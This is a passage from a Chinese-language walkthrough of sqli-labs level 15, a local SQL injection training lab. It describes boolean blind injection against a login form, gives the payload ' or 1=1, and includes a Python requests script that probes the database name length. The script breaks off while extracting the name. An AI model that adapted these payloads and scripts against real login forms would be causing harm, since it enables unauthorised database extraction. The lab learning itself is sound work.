开启第十五关,先尝试注入,注入多次后发现页面无报错也无回显,于是尝试盲注
使用万能密码’ or 1=1登陆成功,’ or 1=2登录失败,这里可以使用布尔盲注,
研究响应页面发现登录成功和登录失败时底下的提示是一个图片,而图片的命名不同,可以此区分成功和失败,开始写脚本,脚本的思路和之前使用布尔盲注的关卡类似,只需修改请求类型、数据和if条件即可,代码如下:
import requests
# 获取数据库名长度
def database_len():
for i in range(1,10):
url = f"http://localhost:90/sqli-labs-master/Less-15/"
data = {
"uname":f"' or length(database())>{
i}#",
"passwd":"1",
"submit":"Submit"
}
headers = {
"Content-Type":"application/x-www-form-urlencoded",
}
r = requests.post(url,data = data ,headers =headers)
if "flag.jpg" not in r.text:
print('database_length:', i)
return i
#获取数据库名
def database_name(databaselen):
name = ''
for j in range(1, databaselen+1):